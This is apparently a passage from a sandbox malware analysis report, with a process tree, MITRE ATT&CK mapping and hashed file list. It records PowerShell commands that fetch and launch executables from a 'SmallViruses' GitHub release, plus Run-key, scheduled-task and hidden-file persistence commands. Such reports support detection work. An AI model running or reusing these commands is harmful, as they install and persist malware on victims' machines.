    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.Win32.SystemEvents.dll"
    3⤵
    PID:4700
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.WindowsDesktop.App.deps.json"
    3⤵
    PID:3968
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.WindowsDesktop.App.runtimeconfig.json"
    3⤵
    PID:3536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PenImc_cor3.dll"
    3⤵
    PID:4444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationCore.dll"
    3⤵
    PID:1080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework-SystemCore.dll"
    3⤵
    PID:2320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework-SystemData.dll"
    3⤵
    PID:1724
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework-SystemDrawing.dll"
    3⤵
    PID:1144
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework-SystemXml.dll"
    3⤵
    PID:3300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework-SystemXmlLinq.dll"
    3⤵
    PID:5216
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.Aero.dll"
    3⤵
    PID:5520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.Aero2.dll"
    3⤵
    PID:2168
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.AeroLite.dll"
    3⤵
    PID:2488
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.Classic.dll"
    3⤵
    PID:3340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.dll"
    3⤵
    PID:3272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.Luna.dll"
    3⤵
    PID:6044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationFramework.Royale.dll"
    3⤵
    PID:2544
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationNative_cor3.dll"
    3⤵
    PID:240
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PresentationUI.dll"
    3⤵
    PID:6136
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ReachFramework.dll"
    3⤵
    PID:2980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.CodeDom.dll"
    3⤵
    PID:4708
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Configuration.ConfigurationManager.dll"
    3⤵
    PID:2576
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Design.dll"
    3⤵
    PID:1148
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Diagnostics.EventLog.dll"
    3⤵
    PID:5760
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Diagnostics.EventLog.Messages.dll"
    3⤵
    PID:1324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Diagnostics.PerformanceCounter.dll"
    3⤵
    PID:692
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.DirectoryServices.dll"
    3⤵
    PID:5080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Drawing.Common.dll"
    3⤵
    PID:3828
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Drawing.Design.dll"
    3⤵
    PID:6048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Drawing.dll"
    3⤵
    PID:2332
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.IO.Packaging.dll"
    3⤵
    PID:4876
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Printing.dll"
    3⤵
    PID:5324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Resources.Extensions.dll"
    3⤵
    PID:5360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Security.Cryptography.Pkcs.dll"
    3⤵
    PID:1224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Security.Cryptography.ProtectedData.dll"
    3⤵
    PID:4516
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Security.Cryptography.Xml.dll"
    3⤵
    PID:4624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Security.Permissions.dll"
    3⤵
    PID:2316
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.Threading.AccessControl.dll"
    3⤵
    PID:3872
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3372
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:988
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3312
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3540
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3068
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5528
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:6068
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5796
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4644
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/EZIKALEXANDR/SmallViruses/releases/download/VirusesDump/VolumeUp.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\VolumeUp.exe'; Start-Process 'C:\Users\Admin\AppData\Roaming\VolumeUp.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6100
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemProccesManager" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\VolumeUp.exe" /f
  2⤵
  - Adds Run key to start application
  PID:4364
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "SystemProccesManager" /tr "C:\Users\Admin\AppData\Roaming\VolumeUp.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5808
- C:\Windows\system32\attrib.exe
  attrib +h C:\Users\Admin\AppData\Roaming\VolumeUp.exe
  2⤵
  PID:5368
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3984
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/EZIKALEXANDR/SmallViruses/releases/download/VirusesDump/adware.critical.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\adware.critical.exe'; Start-Process 'C:\Users\Admin\AppData\Roaming\adware.critical.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3104
- - C:\Users\Admin\AppData\Roaming\adware.critical.exe
    "C:\Users\Admin\AppData\Roaming\adware.critical.exe"
    3⤵
    - Executes dropped EXE
    PID:1328
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemLogonHelper" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\adware.critical.exe" /f
  2⤵
  - Adds Run key to start application
  PID:5284
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "SystemLogonHelper" /tr "C:\Users\Admin\AppData\Roaming\adware.critical.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5036
- C:\Windows\system32\attrib.exe
  attrib +h C:\Users\Admin\AppData\Roaming\adware.critical.exe
  2⤵
  PID:2316
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2400
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5284
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2656
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3akaee0t.dll

Path C:\Users\Admin\AppData\Local\Temp\3akaee0t\3akaee0t.dll
Size 3KB
SHA256 6c0a97800228992b1af6414e49ecdb2d53ed68d9e52f7a75e7a1dddd8c942bfd
MD5 e33ee5de6a40d382f358fe0225fe81c2
SHA1 e96f7dcd1b706e6278aaa3539130ef56b4343687
SHA512 3eda7e27fd64083f9d3526329266dcb4196708ab1a4603ae07bb16984d905e01d83e80ed151be9cdffd4b0c868911267f5cf59ce1bc20038dfafcfb737fbd626
TLSH
T16E51DD0653E84A6BE4770B30AEF3471637B8F8549F73671E4990421CACA53645E32BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RESD9C6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESD9C6.tmp
Size 1KB
SHA256 fe6712d703216ada2b8289c4328404573c388c8c6ad9e393deec985d4d402459
MD5 82aff0299872bacc865ec001add9d10d
SHA1 17013bd709ff2e2f477c8c3344c4235fe7d6c199
SHA512 8f1aa0d0a8fe5524d852ef358ced4909884342d4f486d740791c251d64a6d5ea1fa057b17e99b50a8812fb5d95e47c68f80a89fe05f1427171164c0a70797246
TLSH
T1AD21AB0593E84B1EF07347326DF6132BA279FE99EF72975F8540422C2C50604EEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_v5ailufg.vwm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v5ailufg.vwm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wiper_8599.ps1

Path C:\Users\Admin\AppData\Local\Temp\wiper_8599.ps1
Size 2KB
SHA256 9257dbfac965c518bc64f60048dc77e4304bc9bf2c451bf3bde54185f6f6e9da
MD5 e946d7123f371fda1cb478867d709de0
SHA1 a6d18aa5bad6ffb36decc43d93f6374ff7e74305
SHA512 cd4ce200110af6585959616df5d2495104753360cdcadf356e7c53c5e01a551f0a449e9a02b60634848d1d7001ddd7e89992f04ec7bc6035d3c221d027270dcf
TLSH
T1A75142167B60957090B26734EAC7DA49FD27503B60136600F5FCC3A9BF7193D8BA8D94
MD5 SHA1 SHA512 TLSH

Submit Download

adware.critical.exe

Path C:\Users\Admin\AppData\Roaming\adware.critical.exe
Size 2.6MB
SHA256 f4cff500cc1b5f7be0c8fe076ef3e75c45631711129600f5ed708fdcbac6a5f6
MD5 c4a4da17da652924331bb8b14b8fd02c
SHA1 9e098ef978ffbd9c77c80293ece1910869b7610c
SHA512 cd68c9b789ce12f6aeaff052e1812276383b260417d3c3bbbcef61c5b0f9646fcc578414776ed1c5266d0880c1b85ef439986ab516a109bc5dd11a666126c515
SSDEEP 49152:wZu6o42ff5WUEz/TVQKeTvpWvP0JaUFNjb5d39k99zUC2JhB/06muHmGI81S3s2i:n42ff5bEz5QM8MUb9kEhB/CuGGz0s2Yc
TLSH
T121C53349FAFD0052E6822A700ED2D26457B72C34F2D972BD0BB411AEE7FD3498721766
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AddConfirm.dll

Path C:\Users\Admin\Desktop\AddConfirm.dll
Size 238KB
SHA256 eb0c7521b5431dfa5c995d2875a7f3fbb2b3537af438b3123516ec12e10b0740
MD5 20e6d1182f81cee8c77b29cc39d89ad2
SHA1 fe27e4947697fe72105663c8c31b97200a2e8e76
SHA512 9f23562d3393c8d51875b204af4b5fe287f0f4d7b850fee8b163220e2b7ed8948f928ec7d1eb9a8158416186880e174323a7e26caf2fb92e0bc0c71ecca2d0dd
SSDEEP 6144:TzArlBrEgIjJg6lsg+1PBFYtmwaKuHZN8dUgq1:T6lB4gIj7ag+1PvutaKqnOUg+
TLSH
T188342349730F6603FB2195149B15EA4549C963B7A5FEC83C3933C8EE0AE2DFC5A2685C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AddExport.mpv2

Path C:\Users\Admin\Desktop\AddExport.mpv2
Size 365KB
SHA256 1a79bdea1bb57675b89a3f6e3d88e5cfa9e64ec84547711ac03678f39338b867
MD5 d7cdfa2f98ba78c6631094665b4a9377
SHA1 0c00bb9e50a495a80e588c3ce4b9aecc159e7ebb
SHA512 5ce128d1ec9de0a54bbd6448ae80864e7ce1bb288038ad25c9e08bab16ba07b279a4f2c56b446ca1dc4f969372ead77de98cf9625290e1ced4e3d923bccb49ea
SSDEEP 6144:0Ik0xVnTz7zhs25dp9xl9S4Fn6KVWhgVR2vqM/QprnaZGVTRAy6CFNRRn2W1B4y9:0INxxTfzhs25LLSonv/VR/M4pzaEdRQW
TLSH
T1F78423A78E04A0C79882C7DFE45AD0E5E786A360A0BD1FC9D1585DE1F40C6C9BC1BEE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ApproveTest.avi

Path C:\Users\Admin\Desktop\ApproveTest.avi
Size 331KB
SHA256 1d7eea8e63ad90e1b976bd260e507fa1772a5b000046e4f085b62ba7832bcb6c
MD5 cd044f9a77905d0b28a858bc6f734b8d
SHA1 8fe82a73a2f6e7d162a77b4dac683661fff83ff3
SHA512 0bc39ff160547022b0b3ea02b462f675e6fe48db8ee1f35211fbf8a7dfd4473180ba4c07bea1cbace48bee0f65904eaabeb18a41c2295c9603d7cc98cd7b4b4f
SSDEEP 6144:m4FCGQi1N1IwATv0sQSLR9y1PuhW80sR4yPT4ihSPW1d55ryqCcbv82:bBQ+0Jv0snST80Vy8ihSUfWr0
TLSH
T1E47423774C91C8A10DB9EBD37D552B20FDF94A02873AA7FD282D470513A03B035E669B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BlockRevoke.wax

Path C:\Users\Admin\Desktop\BlockRevoke.wax
Size 284KB
SHA256 da005ea51935ead23d808ecb74fca36234d8c85a0b4d9cae9dea99ef4aaf4f3a
MD5 f2c9125b57c4ad1c32d3e48cf74b3bd7
SHA1 2ad561ff2080078a7254ac47f95ff5ebded7d46d
SHA512 438660ba8e153cca4b9655cb2838d71d327695a981812676481c392ab9c2190871456080b9460bdada1995305d5c71764eff24de767998ede5a8b88cb947e605
SSDEEP 6144:SWN2Nz6ds+d1lB5nuIPcAIRUwlVfUxPCz7tTIayV1mfk:nN2NOW+d1lB5nuIPcUOGPCdcX1mfk
TLSH
T13E5423CB4A73722E8D47EF0784237051B6E260489677E64A1CAB31285D0DEF4F569F3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClearInstall.wdp

Path C:\Users\Admin\Desktop\ClearInstall.wdp
Size 319KB
SHA256 eb92a787c7553d55deefbaf538427e959aeb4c391c615157f57b96c0a7ec9be4
MD5 dab2b553ff9da23ea157fc786688bb8d
SHA1 a16bab207ec30473a2a2462f9b40d1c920778ab5
SHA512 2204734d993229e0646788163ea95b7e92a0281cce8ed41d1f595f75d26c304fb31a379f15347fce8490a3675067772acb7e1c0dfbba6df0fcb4d8bd4158e419
SSDEEP 6144:fFBHbLY6v0AMMU6uqDiRtPgV8HCpB75E/T1O/6o48aHG+CdZBkTi/TiVLRA:fFvhMNyORGBVE+Zb+Cdrk+/mA
TLSH
T14864223CF474840825DEAD0171D362CF1DDF959A568A83507C85A8AE7A37BFE038A9C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConfirmEnter.vstx

Path C:\Users\Admin\Desktop\ConfirmEnter.vstx
Size 133KB
SHA256 95be50535089c9697341ae9f827b16d5e3321f4bacdeea222a58f4406d29128f
MD5 05dc1463d923e65b636d389359951866
SHA1 2c62e101bee310ccf50f279f69bb90a9fee06ce6
SHA512 ad1d136f1a579761f4b7c96bc7e0016e36a8767e3368a66479cc91cdf70f877bfc921358f2c9a216a585cbdb1f7b80de4888f46319e1db392ac004aad0a0a9eb
SSDEEP 3072:9ofhg6tNu0XNBLWIO+VH0PwPdHRrgeInYEsuxMy9Q7qyI:+fjxXb7OMBd13GFsOKRI
TLSH
T11AD32272BBF44C3164D9C0F6BFF0ACDE6B4063210F942A58691520A8CB4689FDDBD25B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConfirmInstall.mp2v

Path C:\Users\Admin\Desktop\ConfirmInstall.mp2v
Size 191KB
SHA256 93450394eb76c54afc85bf6d35de2cab1d328a468a5c8f96e7126c14ea11046c
MD5 123c751eae44273835c95d1259de5589
SHA1 f213d548ba3e7f26174322db4e844a690a94ab1d
SHA512 9c2ca55c5a0445a6cc52ff92c16cf1de784dd6d8c35bdcd7f9fd91f91c86512873e2f4848f224d3ab180f942845fa28d5e44a0e7fb3123391f5bae449d265630
SSDEEP 3072:5MklWaEfYIt9ZmER9vnw9qp7s1B3YTIVUgANAFGyhV6ZcDRooT8NDW3hGe4Q:5DEgsmER9Isp7sj3C1gANijRonVex
TLSH
T1501423FF7CE0BE784522BB2F1559EB85D3E607960A3464220D5F6DCAF10308A795E239
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConnectStop.bmp

Path C:\Users\Admin\Desktop\ConnectStop.bmp
Size 342KB
SHA256 7865df81352f371ec58a64e2b1d3a80a50180eb2935af4809fa45415c8ad436f
MD5 73d7925368f64c7cf7d0db7b8229d138
SHA1 0c51bc67d81264ab357891e8ba86389d78bee03d
SHA512 2b396e4b47df313b59a0f579f5b34bc028afc33df3b20e8a79906e130db857fea6654932be77ee751cc8cda4081f42331f68e21152d6d9d05c9254bd010e9891
SSDEEP 6144:J/+K16bGWAz8fka+3vOcAdsU6KR4fATy3ZV3HNs5Q09EwQC6OpAs:IKN8fW3v7kR4hVO/9BQfOpAs
TLSH
T19F7423F218A7732D34A05B11BBA02976D8F3079193745EC5E32A3681F9C7496D31297B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DebugNew.xlsx

Path C:\Users\Admin\Desktop\DebugNew.xlsx
Size 9KB
SHA256 b8ade16513953c027d5638ad7d551c42f58ff000163de84b40136a49fb768f7f
MD5 a6695eca72628f33fd02900851271922
SHA1 da293ec6302eb37cdf5c7ae60a3180e24b09e5ff
SHA512 5e77905045fd75f5fc8e8199cc68c87227bedc670da22db9ec2065e50613b3367ed4451eef06f9341a591d6d3af3617976672c239c51ce319f4535092d708747
SSDEEP 192:1q2ogH4BQNlo9hurSmTNYqrUQhAH+LAwnOJSp7vmNuWiED6I6lMqUl5:o2HGj9hG7T5rDhACANgvmZi29eM/5
TLSH
T14512C0FFD82A0F980B1EF99F23C34601729D5AD3C9C087F7E7408C46A96A5D9D15A4C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DisconnectDismount.docx

Path C:\Users\Admin\Desktop\DisconnectDismount.docx
Size 17KB
SHA256 7627c39deceab74ca7fb273a251a8e4815bf7d89da219d18b3dfc6de31e7bdcb
MD5 9632fb588b3a71b9b005084a16e56c13
SHA1 194d9c5c551b0c26649c05564f1342a66b85c623
SHA512 c9f4ff872d0d6744d53c9d22c7c1f4a77be1b8ea0ee9b3309310ae74ba665df4a5c334af39ed58a9290eeb7a8434ce803cebc4ed97bc4bce8ac5682d049e3525
SSDEEP 384:ITjFiOquw7x2jMcQ95ca29I3T/3x9bBATe:ITcOqDV995oEBATe
TLSH
T13D72E0BCBEB71A25C48B79691D6927218E70C3664F4AB09BD31F911D3D62CAB7604B01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EnterRemove.odp

Path C:\Users\Admin\Desktop\EnterRemove.odp
Size 354KB
SHA256 c98b9ed000cb50fee5cee63fa3f517920318fd57e7b2f7cb0abfaf3942737e04
MD5 6c30f689946103ddf8fa79e13d745373
SHA1 78f42fd49b5c954e571fbdc9c7ce45dd82c0c1ad
SHA512 1e08a8ce6ac4a59567fedf7ac6e301ec39d2a950c1652a6fca8433f49cead7e8d31cff62c52db02d3477eb66212e96168a74ae2bb37f7154a63423862f2e7615
SSDEEP 6144:r2gpxhLNfFHLuyWax3T8Izb6HaMz7IVK4aK/6YWXGTR/Jqfh7dun4HSCfAV+izfe:iQhLNfFaV4x664mOK/6YtJ6h77yCoV+d
TLSH
T1C174233E6A2586A3F58BE5FF65F24CDFA00F218E48DF2944D4BF6221511568B32D2B03
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ExportExit.cab

Path C:\Users\Admin\Desktop\ExportExit.cab
Size 272KB
SHA256 673a7be5980de5308f433f4723d55143779a677c4b3be0e00df1ff1b0eaac493
MD5 529339a11f4c8c0b3400a55b42975f98
SHA1 994754c083ef2a433ed8df02a1a52e0fc8e2f8cb
SHA512 34eadd55f37126f02cce43991dd3d752ee843268e0333b3debab719bb0d1888cfe4f0a03eecba4febc0253f6f35225aafaa58ee7b6c96227764dbe5d8056426a
SSDEEP 6144:ca/znvgyrj4Mrxc9vUnIewzNpvXVPe1kzFJYtL8+1f6MJkzGQ:ca/znoyrj4391emptGtQc6MUGQ
TLSH
T1F15423A6666ADC14CBC0D11F905075DF13EE380A50E6D092CEA08C6E2E9D9CF5ED3A5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ImportDisconnect.clr

Path C:\Users\Admin\Desktop\ImportDisconnect.clr
Size 249KB
SHA256 675e00c46a459f85d1173e497a2dd4adafbecce7bd8bb9175f9ab813fa94f163
MD5 fb3d549eda2def4af93942f6690956e9
SHA1 024dfebfdb6b4bb84ac114439f6a49b129d81963
SHA512 75f0e4ec44178df1316a7ca822b4486321032aae72137dde1b312c2d0b22996b0e290c50b06ba7d59b7448f05c573dc3c02c929edd8135065d7465d7d01666f2
SSDEEP 6144:6pNrCdtrlETv2DN5/+HKLLZgWr0Y0X8WRQ1Nspb:6pN+dNlavc5iKLL70SggK
TLSH
T19144231FAD3D8B3602E514570B42463F2FDAE2D580E71E479E7CE7279B09278924A31E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ImportRemove.jpg

Path C:\Users\Admin\Desktop\ImportRemove.jpg
Size 307KB
SHA256 d1a3ff516ccd37baa3df2b8f4c76b1c9ab69c6c7b7e5dd9eafb09c22ebc637fb
MD5 5bc37be11dc67d334057ba3d94dc79e4
SHA1 3e190dd18cdbec0d4a6714913f916d9c1f0d19df
SHA512 44f8d2d355872d127548e8453c0070b5462aae601b7b1fd01e0812260f097e545afb42398f3848fd72a3dd2be0c95898a8a41190725711a6c2dd3346a8857e27
SSDEEP 6144:IHrkIi+3jwL7zV591IywHd0coqgHwtqERQM1JwL3cCidjsst+gVAU8sfT4:+4Ij3WdXqyId0csQt3iMCYt4
TLSH
T19C6423F4E42C0E5F59D4C42D851385BECEE6D1D45BC8B61B373B64063609FBE68069B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LockFormat.nfo

Path C:\Users\Admin\Desktop\LockFormat.nfo
Size 261KB
SHA256 afd6a6082af4d8fcd91847f4da7860ef98d9d554a8cae9d3ebc259b14901b79a
MD5 b0c2a6311d3dd4ba9979b59c07d5d1d0
SHA1 4cecc842598db7297de0df5c476c817ed3ed0950
SHA512 6160ee63d0f93bdc95e86b354deb151bb8687dd1d54b908107b4428fe8586296f58565f3eb7fc989362443e90d3d2e9525fc64eeb4f57ff766f8532a7104ee27
SSDEEP 6144:/oQQBNo0MrQ6G/5tYBgRmDvhXDpcRtn9V+ta3dhosOuk9:QQQzoNrW/fCphSRF9cta3n2uk9
TLSH
T1BA4413C22A77C4052978F8467763298D8AEBD07D09739EA143BF20126A150BFB5233B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MeasureSplit.dot

Path C:\Users\Admin\Desktop\MeasureSplit.dot
Size 377KB
SHA256 287346cbc4e2bf2f443acc08316785d6e829b13d813bea7956e32ba4365e6ccf
MD5 a0ea4a89500b0da0ca2f2784f37012f6
SHA1 69ece6994652be7a602773572ad7cd89e61b3644
SHA512 d20fb56df29697d834862862b837239412a59d79ebe3709e4dcd3335d32397d3d96f1334511b3b9e614deb7f637e7b64048a30beb603389f76134c371cc21840
